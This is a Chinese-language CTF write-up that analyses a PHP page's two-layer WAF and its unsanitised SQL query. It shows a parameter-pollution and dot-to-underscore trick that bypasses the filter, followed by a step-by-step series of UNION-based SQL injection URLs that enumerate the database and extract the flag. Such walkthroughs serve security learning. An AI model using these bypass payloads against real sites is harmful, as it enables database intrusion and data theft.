文章目录
运行过程
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
分析可知,先进行两层waf拦截(详见下面),首先先对传入的参数使用dowith拦截,再使用dhtmlspecialchars拦截。再查询有没有submit,如果有则将id带入数据库进行查询并且返回值,如果没有submit,则直接退出。
waf
第一层waf拦截
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
这个正则拦截/select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile,当发现用户输入的参数包含这些时,会直接退出程序。
第二层waf拦截
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
这层waf是先将数据分为两个,一个key,一个value,并进行检测是不是含有非法字符。
数据库查询语句
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysqli_query($conn,$sql);
while($row = @mysqli_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
注入思路
我们得思考下如果我们有一种方法让第一层WAF检测不到恶意字符,再通过第二层WAF的覆盖,从而将恶意字符传入到REQUEST中,其实也就可以绕过WAF,完成我们的注入了。
找好了思路,那么我们就得想办法找到这个方法,这个想法之前我们说了要让第一道WAF找不到恶意字符,那么我们就得再REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。
既然上面我们从绕过WAF变为了如何让第一道WAF检测不到恶意字符,那么我们又得想一个办法。
在php中,如果传入多个名字相同的参数,那么它会取最后一个参数,那么这样,就可以绕过第一道WAF。所以传入i_d=1&i_d=2,其最终会接收到的是i_d=2。那我们便想把恶意语句放在第一个i_d。
绕过了第一道WAF,那么就该想如何绕过第二道WAF,上面绕过第一道WAF时,也给了思路,那就是将恶意语句放在第一个i_d,那就得思考,怎么在第二道WAF时让其接受第一个i_d。
php中有个小特性,那就是传入的.将会变为_,例如我们传入i.d会被转换为i_d,那么我们就要想想能不能利用这个思路来绕过。
$_SERVER['REQUEST_URI']在接受时i_d和i.d是不一样的,所以,我们便可以使用这个特性来绕过。
注入
按照上面的接替思路,我们构建payload进行测试。
http://127.0.0.1/daiqile/index.php?submit=1&i_d=1&i.d=2
http://127.0.0.1/daiqile/index.php?submit=1&i_d=2&i.d=1
使用上面进行检测,当i_d=1&i.d=2时,不会回显数据,而i_d=2&i.d=1会回显数据(因为我的数据库id=2才有数据,id=1没有数据),发现事实和我们想象的一样既绕过了第一道WAF,又将i_d传入数据库。
那么接下来就可以进入正是注入。
使用/**/代替空格
查询列数并查看回显位置
?submit=1&i_d=-2/**/union/**/select/**/1,2,3,4&i.d=1
查询数据库名(改变limit查询的行数)
?submit=1&i_d=-2/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1
最终使用下面语句查到为ctf
?submit=1&i_d=-2/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1
查表名(因为使用addslashes对单引号进行过滤,所以我们使用十六进制绕过;源码中也对=进行了过滤,我们只能使用like进行绕过)
?submit=1&i_d=-2/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=1
查询列名
?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1
?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1
?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1
?submit=1&i_d=-2/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1
拿下flag
?submit=1&i_d=-2/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1